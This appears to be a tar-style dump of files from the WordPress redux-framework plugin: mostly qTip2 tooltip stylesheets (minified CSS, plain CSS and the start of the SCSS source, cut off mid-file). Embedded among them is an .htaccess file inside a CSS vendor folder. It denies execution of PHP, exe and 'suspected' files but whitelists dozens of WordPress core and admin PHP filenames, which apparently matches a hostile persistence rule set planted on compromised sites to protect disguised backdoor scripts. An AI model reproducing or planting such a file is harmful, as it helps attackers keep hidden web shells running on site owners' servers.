.sp-thumb-inner{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAMdJREFUOE+tkgsNwzAMRMugEAahEAahEAZhEAqlEAZhEAohEAYh81X2dIm8fKpEspLGvudPOsUYpxE2BIJCroJmEW9qJ+MKaBFhEMNabSy9oIcIPwrB+afvAUFoK4H0tMaQ3XtlrggDhOVVMuT4E5MMG0FBbCEYzjYT7OxLEvIHQLY2zWwQ3D+9luyOQTfKDiFD3iUIfPk8VqrKjgAiSfGFPecrg6HN6m/iBcwiDAo7WiBeawa+Kwh7tZoSCGLMqwlSAzVDhoK+6vH4G0P5wdkAAAAASUVORK5CYII=)}.sp-clear-display{background-repeat:no-repeat;background-position:center;background-image:url(data:image/gif;base64,R0lGODlhFAAUAPcAAAAAAJmZmZ2dnZ6enqKioqOjo6SkpKWlpaampqenp6ioqKmpqaqqqqurq/Hx8fLy8vT09PX19ff39/j4+Pn5+fr6+vv7+wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAP8ALAAAAAAUABQAAAihAP9FoPCvoMGDBy08+EdhQAIJCCMybCDAAYUEARBAlFiQQoMABQhKUJBxY0SPICEYHBnggEmDKAuoPMjS5cGYMxHW3IiT478JJA8M/CjTZ0GgLRekNGpwAsYABHIypcAgQMsITDtWJYBR6NSqMico9cqR6tKfY7GeBCuVwlipDNmefAtTrkSzB1RaIAoXodsABiZAEFB06gIBWC1mLVgBa0AAOw==)}�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/spectrum/.htaccess������������������������������������������������0000644�����������������00000001626�14720701300�0016714 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/qtip/jquery.qtip.min.css������������������������������������������0000644�����������������00000021545�14720701300�0020022 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* qTip2 v2.2.1 | Plugins: tips modal viewport svg imagemap ie6 | Styles: core basic css3 | qtip2.com | Licensed MIT | Sat Sep 06 2014 23:12:07 */ .qtip{position:absolute;left:-28000px;top:-28000px;display:none;max-width:280px;min-width:50px;font-size:10.5px;line-height:12px;direction:ltr;box-shadow:none;padding:0}.qtip-content{position:relative;padding:5px 9px;overflow:hidden;text-align:left;word-wrap:break-word}.qtip-titlebar{position:relative;padding:5px 35px 5px 10px;overflow:hidden;border-width:0 0 1px;font-weight:700}.qtip-titlebar+.qtip-content{border-top-width:0!important}.qtip-close{position:absolute;right:-9px;top:-9px;z-index:11;cursor:pointer;outline:0;border:1px solid transparent}.qtip-titlebar .qtip-close{right:4px;top:50%;margin-top:-9px}* html .qtip-titlebar .qtip-close{top:16px}.qtip-icon .ui-icon,.qtip-titlebar .ui-icon{display:block;text-indent:-1000em;direction:ltr}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{width:18px;height:14px;line-height:14px;text-align:center;text-indent:0;font:400 bold 10px/13px Tahoma,sans-serif;color:inherit;background:-100em -100em no-repeat}.qtip-default{border:1px solid #F1D031;background-color:#FFFFA3;color:#555}.qtip-default .qtip-titlebar{background-color:#FFEF93}.qtip-default .qtip-icon{border-color:#CCC;background:#F1F1F1;color:#777}.qtip-default .qtip-titlebar .qtip-close{border-color:#AAA;color:#111}.qtip-light{background-color:#fff;border-color:#E2E2E2;color:#454545}.qtip-light .qtip-titlebar{background-color:#f1f1f1}.qtip-dark{background-color:#505050;border-color:#303030;color:#f3f3f3}.qtip-dark .qtip-titlebar{background-color:#404040}.qtip-dark .qtip-icon{border-color:#444}.qtip-dark .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-cream{background-color:#FBF7AA;border-color:#F9E98E;color:#A27D35}.qtip-cream .qtip-titlebar{background-color:#F0DE7D}.qtip-cream .qtip-close .qtip-icon{background-position:-82px 0}.qtip-red{background-color:#F78B83;border-color:#D95252;color:#912323}.qtip-red .qtip-titlebar{background-color:#F06D65}.qtip-red .qtip-close .qtip-icon{background-position:-102px 0}.qtip-red .qtip-icon,.qtip-red .qtip-titlebar .ui-state-hover{border-color:#D95252}.qtip-green{background-color:#CAED9E;border-color:#90D93F;color:#3F6219}.qtip-green .qtip-titlebar{background-color:#B0DE78}.qtip-green .qtip-close .qtip-icon{background-position:-42px 0}.qtip-blue{background-color:#E5F6FE;border-color:#ADD9ED;color:#5E99BD}.qtip-blue .qtip-titlebar{background-color:#D0E9F5}.qtip-blue .qtip-close .qtip-icon{background-position:-2px 0}.qtip-shadow{-webkit-box-shadow:1px 1px 3px 1px rgba(0,0,0,.15);-moz-box-shadow:1px 1px 3px 1px rgba(0,0,0,.15);box-shadow:1px 1px 3px 1px rgba(0,0,0,.15)}.qtip-bootstrap,.qtip-rounded,.qtip-tipsy{-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}.qtip-rounded .qtip-titlebar{-moz-border-radius:4px 4px 0 0;-webkit-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.qtip-youtube{-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:0 0 3px #333;-moz-box-shadow:0 0 3px #333;box-shadow:0 0 3px #333;color:#fff;border:0 solid transparent;background:#4A4A4A;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(0,#4A4A4A),color-stop(100%,#000));background-image:-webkit-linear-gradient(top,#4A4A4A 0,#000 100%);background-image:-moz-linear-gradient(top,#4A4A4A 0,#000 100%);background-image:-ms-linear-gradient(top,#4A4A4A 0,#000 100%);background-image:-o-linear-gradient(top,#4A4A4A 0,#000 100%)}.qtip-youtube .qtip-titlebar{background-color:transparent}.qtip-youtube .qtip-content{padding:.75em;font:12px arial,sans-serif;filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr=#4a4a4a, EndColorStr=#000000);-ms-filter:"progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=#4a4a4a,EndColorStr=#000000);"}.qtip-youtube .qtip-icon{border-color:#222}.qtip-youtube .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-jtools{background:#232323;background:rgba(0,0,0,.7);background-image:-webkit-gradient(linear,left top,left bottom,from(#717171),to(#232323));background-image:-moz-linear-gradient(top,#717171,#232323);background-image:-webkit-linear-gradient(top,#717171,#232323);background-image:-ms-linear-gradient(top,#717171,#232323);background-image:-o-linear-gradient(top,#717171,#232323);border:2px solid #ddd;border:2px solid rgba(241,241,241,1);-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:0 0 12px #333;-moz-box-shadow:0 0 12px #333;box-shadow:0 0 12px #333}.qtip-jtools .qtip-titlebar{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171, endColorstr=#4A4A4A);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171,endColorstr=#4A4A4A)"}.qtip-jtools .qtip-content{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A, endColorstr=#232323);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A,endColorstr=#232323)"}.qtip-jtools .qtip-content,.qtip-jtools .qtip-titlebar{background:0 0;color:#fff;border:0 dashed transparent}.qtip-jtools .qtip-icon{border-color:#555}.qtip-jtools .qtip-titlebar .ui-state-hover{border-color:#333}.qtip-cluetip{-webkit-box-shadow:4px 4px 5px rgba(0,0,0,.4);-moz-box-shadow:4px 4px 5px rgba(0,0,0,.4);box-shadow:4px 4px 5px rgba(0,0,0,.4);background-color:#D9D9C2;color:#111;border:0 dashed transparent}.qtip-cluetip .qtip-titlebar{background-color:#87876A;color:#fff;border:0 dashed transparent}.qtip-cluetip .qtip-icon{border-color:#808064}.qtip-cluetip .qtip-titlebar .ui-state-hover{border-color:#696952;color:#696952}.qtip-tipsy{background:#000;background:rgba(0,0,0,.87);color:#fff;border:0 solid transparent;font-size:11px;font-family:'Lucida Grande',sans-serif;font-weight:700;line-height:16px;text-shadow:0 1px #000}.qtip-tipsy .qtip-titlebar{padding:6px 35px 0 10px;background-color:transparent}.qtip-tipsy .qtip-content{padding:6px 10px}.qtip-tipsy .qtip-icon{border-color:#222;text-shadow:none}.qtip-tipsy .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-tipped{border:3px solid #959FA9;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;background-color:#F9F9F9;color:#454545;font-weight:400;font-family:serif}.qtip-tipped .qtip-titlebar{border-bottom-width:0;color:#fff;background:#3A79B8;background-image:-webkit-gradient(linear,left top,left bottom,from(#3A79B8),to(#2E629D));background-image:-webkit-linear-gradient(top,#3A79B8,#2E629D);background-image:-moz-linear-gradient(top,#3A79B8,#2E629D);background-image:-ms-linear-gradient(top,#3A79B8,#2E629D);background-image:-o-linear-gradient(top,#3A79B8,#2E629D);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8, endColorstr=#2E629D);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8,endColorstr=#2E629D)"}.qtip-tipped .qtip-icon{border:2px solid #285589;background:#285589}.qtip-tipped .qtip-icon .ui-icon{background-color:#FBFBFB;color:#555}.qtip-bootstrap{font-size:14px;line-height:20px;color:#333;padding:1px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box}.qtip-bootstrap .qtip-titlebar{padding:8px 14px;margin:0;font-size:14px;font-weight:400;line-height:18px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;-webkit-border-radius:5px 5px 0 0;-moz-border-radius:5px 5px 0 0;border-radius:5px 5px 0 0}.qtip-bootstrap .qtip-titlebar .qtip-close{right:11px;top:45%;border-style:none}.qtip-bootstrap .qtip-content{padding:9px 14px}.qtip-bootstrap .qtip-icon{background:0 0}.qtip-bootstrap .qtip-icon .ui-icon{width:auto;height:auto;float:right;font-size:20px;font-weight:700;line-height:18px;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.qtip-bootstrap .qtip-icon .ui-icon:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.4;filter:alpha(opacity=40)}.qtip:not(.ie9haxors) div.qtip-content,.qtip:not(.ie9haxors) div.qtip-titlebar{filter:none;-ms-filter:none}.qtip .qtip-tip{margin:0 auto;overflow:hidden;z-index:10}.qtip .qtip-tip,x:-o-prefocus{visibility:hidden}.qtip .qtip-tip,.qtip .qtip-tip .qtip-vml,.qtip .qtip-tip canvas{position:absolute;color:#123456;background:0 0;border:0 dashed transparent}.qtip .qtip-tip canvas{top:0;left:0}.qtip .qtip-tip .qtip-vml{behavior:url(#default#VML);display:inline-block;visibility:visible}#qtip-overlay{position:fixed;left:0;top:0;width:100%;height:100%}#qtip-overlay.blurs{cursor:pointer}#qtip-overlay div{position:absolute;left:0;top:0;width:100%;height:100%;background-color:#000;opacity:.7;filter:alpha(opacity=70);-ms-filter:"alpha(Opacity=70)"}.qtipmodal-ie6fix{position:absolute!important}�����������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/qtip/jquery.qtip.css����������������������������������������������0000644�����������������00000021776�14720701300�0017246 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.qtip{position:absolute;left:-28000px;top:-28000px;display:none;max-width:280px;min-width:50px;font-size:10.5px;line-height:12px;direction:ltr;box-shadow:none;padding:0}.qtip-content{position:relative;padding:5px 9px;overflow:hidden;text-align:left;word-wrap:break-word}.qtip-titlebar{position:relative;padding:5px 35px 5px 10px;overflow:hidden;border-width:0 0 1px;font-weight:bold}.qtip-titlebar+.qtip-content{border-top-width:0 !important}.qtip-close{position:absolute;right:-9px;top:-9px;z-index:11;cursor:pointer;outline:medium none;border:1px solid transparent}.qtip-titlebar .qtip-close{right:4px;top:50%;margin-top:-9px}* html .qtip-titlebar .qtip-close{top:16px}.qtip-titlebar .ui-icon,.qtip-icon .ui-icon{display:block;text-indent:-1000em;direction:ltr}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{width:18px;height:14px;line-height:14px;text-align:center;text-indent:0;font:normal bold 10px/13px Tahoma,sans-serif;color:inherit;background:transparent none no-repeat -100em -100em}.qtip-default{border:1px solid #f1d031;background-color:#ffffa3;color:#555}.qtip-default .qtip-titlebar{background-color:#ffef93}.qtip-default .qtip-icon{border-color:#CCC;background:#f1f1f1;color:#777}.qtip-default .qtip-titlebar .qtip-close{border-color:#AAA;color:#111}/*! Light tooltip style */.qtip-light{background-color:white;border-color:#e2e2e2;color:#454545}.qtip-light .qtip-titlebar{background-color:#f1f1f1}/*! Dark tooltip style */.qtip-dark{background-color:#505050;border-color:#303030;color:#f3f3f3}.qtip-dark .qtip-titlebar{background-color:#404040}.qtip-dark .qtip-icon{border-color:#444}.qtip-dark .qtip-titlebar .ui-state-hover{border-color:#303030}/*! Cream tooltip style */.qtip-cream{background-color:#fbf7aa;border-color:#f9e98e;color:#a27d35}.qtip-cream .qtip-titlebar{background-color:#f0de7d}.qtip-cream .qtip-close .qtip-icon{background-position:-82px 0}/*! Red tooltip style */.qtip-red{background-color:#f78b83;border-color:#d95252;color:#912323}.qtip-red .qtip-titlebar{background-color:#f06d65}.qtip-red .qtip-close .qtip-icon{background-position:-102px 0}.qtip-red .qtip-icon{border-color:#d95252}.qtip-red .qtip-titlebar .ui-state-hover{border-color:#d95252}/*! Green tooltip style */.qtip-green{background-color:#caed9e;border-color:#90d93f;color:#3f6219}.qtip-green .qtip-titlebar{background-color:#b0de78}.qtip-green .qtip-close .qtip-icon{background-position:-42px 0}/*! Blue tooltip style */.qtip-blue{background-color:#e5f6fe;border-color:#add9ed;color:#5e99bd}.qtip-blue .qtip-titlebar{background-color:#d0e9f5}.qtip-blue .qtip-close .qtip-icon{background-position:-2px 0}.qtip-shadow{-webkit-box-shadow:1px 1px 3px 1px rgba(0,0,0,0.15);-moz-box-shadow:1px 1px 3px 1px rgba(0,0,0,0.15);box-shadow:1px 1px 3px 1px rgba(0,0,0,0.15)}.qtip-rounded,.qtip-tipsy,.qtip-bootstrap{-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}.qtip-rounded .qtip-titlebar{-moz-border-radius:4px 4px 0 0;-webkit-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.qtip-youtube{-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:0 0 3px #333;-moz-box-shadow:0 0 3px #333;box-shadow:0 0 3px #333;color:white;border:0 solid transparent;background:#4a4a4a;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(0,#4a4a4a),color-stop(100%,black));background-image:-webkit-linear-gradient(top,#4a4a4a 0,black 100%);background-image:-moz-linear-gradient(top,#4a4a4a 0,black 100%);background-image:-ms-linear-gradient(top,#4a4a4a 0,black 100%);background-image:-o-linear-gradient(top,#4a4a4a 0,black 100%)}.qtip-youtube .qtip-titlebar{background-color:#4a4a4a;background-color:transparent}.qtip-youtube .qtip-content{padding:.75em;font:12px arial,sans-serif;filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=#4a4a4a,EndColorStr=#000000);-ms-filter:"progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=#4a4a4a,EndColorStr=#000000);"}.qtip-youtube .qtip-icon{border-color:#222}.qtip-youtube .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-jtools{background:#232323;background:rgba(0,0,0,0.7);background-image:-webkit-gradient(linear,left top,left bottom,from(#717171),to(#232323));background-image:-moz-linear-gradient(top,#717171,#232323);background-image:-webkit-linear-gradient(top,#717171,#232323);background-image:-ms-linear-gradient(top,#717171,#232323);background-image:-o-linear-gradient(top,#717171,#232323);border:2px solid #ddd;border:2px solid #f1f1f1;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:0 0 12px #333;-moz-box-shadow:0 0 12px #333;box-shadow:0 0 12px #333}.qtip-jtools .qtip-titlebar{background-color:transparent;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171,endColorstr=#4A4A4A);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171,endColorstr=#4A4A4A)"}.qtip-jtools .qtip-content{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A,endColorstr=#232323);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A,endColorstr=#232323)"}.qtip-jtools .qtip-titlebar,.qtip-jtools .qtip-content{background:transparent;color:white;border:0 dashed transparent}.qtip-jtools .qtip-icon{border-color:#555}.qtip-jtools .qtip-titlebar .ui-state-hover{border-color:#333}.qtip-cluetip{-webkit-box-shadow:4px 4px 5px rgba(0,0,0,0.4);-moz-box-shadow:4px 4px 5px rgba(0,0,0,0.4);box-shadow:4px 4px 5px rgba(0,0,0,0.4);background-color:#d9d9c2;color:#111;border:0 dashed transparent}.qtip-cluetip .qtip-titlebar{background-color:#87876a;color:white;border:0 dashed transparent}.qtip-cluetip .qtip-icon{border-color:#808064}.qtip-cluetip .qtip-titlebar .ui-state-hover{border-color:#696952;color:#696952}.qtip-tipsy{background:black;background:rgba(0,0,0,0.87);color:white;border:0 solid transparent;font-size:11px;font-family:'Lucida Grande',sans-serif;font-weight:bold;line-height:16px;text-shadow:0 1px black}.qtip-tipsy .qtip-titlebar{padding:6px 35px 0 10px;background-color:transparent}.qtip-tipsy .qtip-content{padding:6px 10px}.qtip-tipsy .qtip-icon{border-color:#222;text-shadow:none}.qtip-tipsy .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-tipped{border:3px solid #959fa9;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;background-color:#f9f9f9;color:#454545;font-weight:normal;font-family:serif}.qtip-tipped .qtip-titlebar{border-bottom-width:0;color:white;background:#3a79b8;background-image:-webkit-gradient(linear,left top,left bottom,from(#3a79b8),to(#2e629d));background-image:-webkit-linear-gradient(top,#3a79b8,#2e629d);background-image:-moz-linear-gradient(top,#3a79b8,#2e629d);background-image:-ms-linear-gradient(top,#3a79b8,#2e629d);background-image:-o-linear-gradient(top,#3a79b8,#2e629d);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8,endColorstr=#2E629D);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8,endColorstr=#2E629D)"}.qtip-tipped .qtip-icon{border:2px solid #285589;background:#285589}.qtip-tipped .qtip-icon .ui-icon{background-color:#fbfbfb;color:#555}.qtip-bootstrap{font-size:14px;line-height:20px;color:#333;padding:1px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,0.2);box-shadow:0 5px 10px rgba(0,0,0,0.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box}.qtip-bootstrap .qtip-titlebar{padding:8px 14px;margin:0;font-size:14px;font-weight:normal;line-height:18px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;-webkit-border-radius:5px 5px 0 0;-moz-border-radius:5px 5px 0 0;border-radius:5px 5px 0 0}.qtip-bootstrap .qtip-titlebar .qtip-close{right:11px;top:45%;border-style:none}.qtip-bootstrap .qtip-content{padding:9px 14px}.qtip-bootstrap .qtip-icon{background:transparent}.qtip-bootstrap .qtip-icon .ui-icon{width:auto;height:auto;float:right;font-size:20px;font-weight:bold;line-height:18px;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.qtip-bootstrap .qtip-icon .ui-icon:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.4;filter:alpha(opacity=40)}.qtip:not(.ie9haxors) div.qtip-content,.qtip:not(.ie9haxors) div.qtip-titlebar{filter:none;-ms-filter:none}.qtip .qtip-tip{margin:0 auto;overflow:hidden;z-index:10}x:-o-prefocus,.qtip .qtip-tip{visibility:hidden}.qtip .qtip-tip,.qtip .qtip-tip .qtip-vml,.qtip .qtip-tip canvas{position:absolute;color:#123456;background:transparent;border:0 dashed transparent}.qtip .qtip-tip canvas{top:0;left:0}.qtip .qtip-tip .qtip-vml{behavior:url(#default#VML);display:inline-block;visibility:visible}#qtip-overlay{position:fixed;left:0;top:0;width:100%;height:100%}#qtip-overlay.blurs{cursor:pointer}#qtip-overlay div{position:absolute;left:0;top:0;width:100%;height:100%;background-color:black;opacity:.7;filter:alpha(opacity=70);-ms-filter:"alpha(opacity=70)"}.qtipmodal-ie6fix{position:absolute !important}��redux-framework/assets/css/vendor/qtip/jquery.qtip.scss���������������������������������������������0000644�����������������00000031570�14720701300�0017422 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* * qTip2 - Pretty powerful tooltips - v2.2.1 * http://qtip2.com * * Copyright (c) 2014 * Released under the MIT licenses * http://jquery.org/license * * Date: Sat Sep 6 2014 11:12 GMT+0100+0100 * Plugins: tips modal viewport svg imagemap ie6 * Styles: core basic css3 */ .qtip{ position: absolute; left: -28000px; top: -28000px; display: none; max-width: 280px; min-width: 50px; font-size: 10.5px; line-height: 12px; direction: ltr; box-shadow: none; padding: 0; } .qtip-content{ position: relative; padding: 5px 9px; overflow: hidden; text-align: left; word-wrap: break-word; } .qtip-titlebar{ position: relative; padding: 5px 35px 5px 10px; overflow: hidden; border-width: 0 0 1px; font-weight: bold; } .qtip-titlebar + .qtip-content{ border-top-width: 0 !important; } /* Default close button class */ .qtip-close{ position: absolute; right: -9px; top: -9px; z-index: 11; /* Overlap .qtip-tip */ cursor: pointer; outline: medium none; border: 1px solid transparent; } .qtip-titlebar .qtip-close{ right: 4px; top: 50%; margin-top: -9px; } * html .qtip-titlebar .qtip-close{ top: 16px; } /* IE fix */ .qtip-titlebar .ui-icon, .qtip-icon .ui-icon{ display: block; text-indent: -1000em; direction: ltr; } .qtip-icon, .qtip-icon .ui-icon{ -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; text-decoration: none; } .qtip-icon .ui-icon{ width: 18px; height: 14px; line-height: 14px; text-align: center; text-indent: 0; font: normal bold 10px/13px Tahoma,sans-serif; color: inherit; background: transparent none no-repeat -100em -100em; } /* Applied to 'focused' tooltips e.g. most recently displayed/interacted with */ .qtip-focus{} /* Applied on hover of tooltips i.e. added/removed on mouseenter/mouseleave respectively */ .qtip-hover{} /* Default tooltip style */ .qtip-default{ border: 1px solid #F1D031; background-color: #FFFFA3; color: #555; } .qtip-default .qtip-titlebar{ background-color: #FFEF93; } .qtip-default .qtip-icon{ border-color: #CCC; background: #F1F1F1; color: #777; } .qtip-default .qtip-titlebar .qtip-close{ border-color: #AAA; color: #111; } /*! Light tooltip style */ .qtip-light{ background-color: white; border-color: #E2E2E2; color: #454545; } .qtip-light .qtip-titlebar{ background-color: #f1f1f1; } /*! Dark tooltip style */ .qtip-dark{ background-color: #505050; border-color: #303030; color: #f3f3f3; } .qtip-dark .qtip-titlebar{ background-color: #404040; } .qtip-dark .qtip-icon{ border-color: #444; } .qtip-dark .qtip-titlebar .ui-state-hover{ border-color: #303030; } /*! Cream tooltip style */ .qtip-cream{ background-color: #FBF7AA; border-color: #F9E98E; color: #A27D35; } .qtip-cream .qtip-titlebar{ background-color: #F0DE7D; } .qtip-cream .qtip-close .qtip-icon{ background-position: -82px 0; } /*! Red tooltip style */ .qtip-red{ background-color: #F78B83; border-color: #D95252; color: #912323; } .qtip-red .qtip-titlebar{ background-color: #F06D65; } .qtip-red .qtip-close .qtip-icon{ background-position: -102px 0; } .qtip-red .qtip-icon{ border-color: #D95252; } .qtip-red .qtip-titlebar .ui-state-hover{ border-color: #D95252; } /*! Green tooltip style */ .qtip-green{ background-color: #CAED9E; border-color: #90D93F; color: #3F6219; } .qtip-green .qtip-titlebar{ background-color: #B0DE78; } .qtip-green .qtip-close .qtip-icon{ background-position: -42px 0; } /*! Blue tooltip style */ .qtip-blue{ background-color: #E5F6FE; border-color: #ADD9ED; color: #5E99BD; } .qtip-blue .qtip-titlebar{ background-color: #D0E9F5; } .qtip-blue .qtip-close .qtip-icon{ background-position: -2px 0; } .qtip-shadow{ -webkit-box-shadow: 1px 1px 3px 1px rgba(0, 0, 0, 0.15); -moz-box-shadow: 1px 1px 3px 1px rgba(0, 0, 0, 0.15); box-shadow: 1px 1px 3px 1px rgba(0, 0, 0, 0.15); } /* Add rounded corners to your tooltips in: FF3+, Chrome 2+, Opera 10.6+, IE9+, Safari 2+ */ .qtip-rounded, .qtip-tipsy, .qtip-bootstrap{ -moz-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 5px; } .qtip-rounded .qtip-titlebar{ -moz-border-radius: 4px 4px 0 0; -webkit-border-radius: 4px 4px 0 0; border-radius: 4px 4px 0 0; } /* Youtube tooltip style */ .qtip-youtube{ -moz-border-radius: 2px; -webkit-border-radius: 2px; border-radius: 2px; -webkit-box-shadow: 0 0 3px #333; -moz-box-shadow: 0 0 3px #333; box-shadow: 0 0 3px #333; color: white; border: 0 solid transparent; background: #4A4A4A; background-image: -webkit-gradient(linear,left top,left bottom,color-stop(0,#4A4A4A),color-stop(100%,black)); background-image: -webkit-linear-gradient(top,#4A4A4A 0,black 100%); background-image: -moz-linear-gradient(top,#4A4A4A 0,black 100%); background-image: -ms-linear-gradient(top,#4A4A4A 0,black 100%); background-image: -o-linear-gradient(top,#4A4A4A 0,black 100%); } .qtip-youtube .qtip-titlebar{ background-color: #4A4A4A; background-color: rgba(0,0,0,0); } .qtip-youtube .qtip-content{ padding: .75em; font: 12px arial,sans-serif; filter: progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=#4a4a4a,EndColorStr=#000000); -ms-filter: "progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=#4a4a4a,EndColorStr=#000000);"; } .qtip-youtube .qtip-icon{ border-color: #222; } .qtip-youtube .qtip-titlebar .ui-state-hover{ border-color: #303030; } /* jQuery TOOLS Tooltip style */ .qtip-jtools{ background: #232323; background: rgba(0, 0, 0, 0.7); 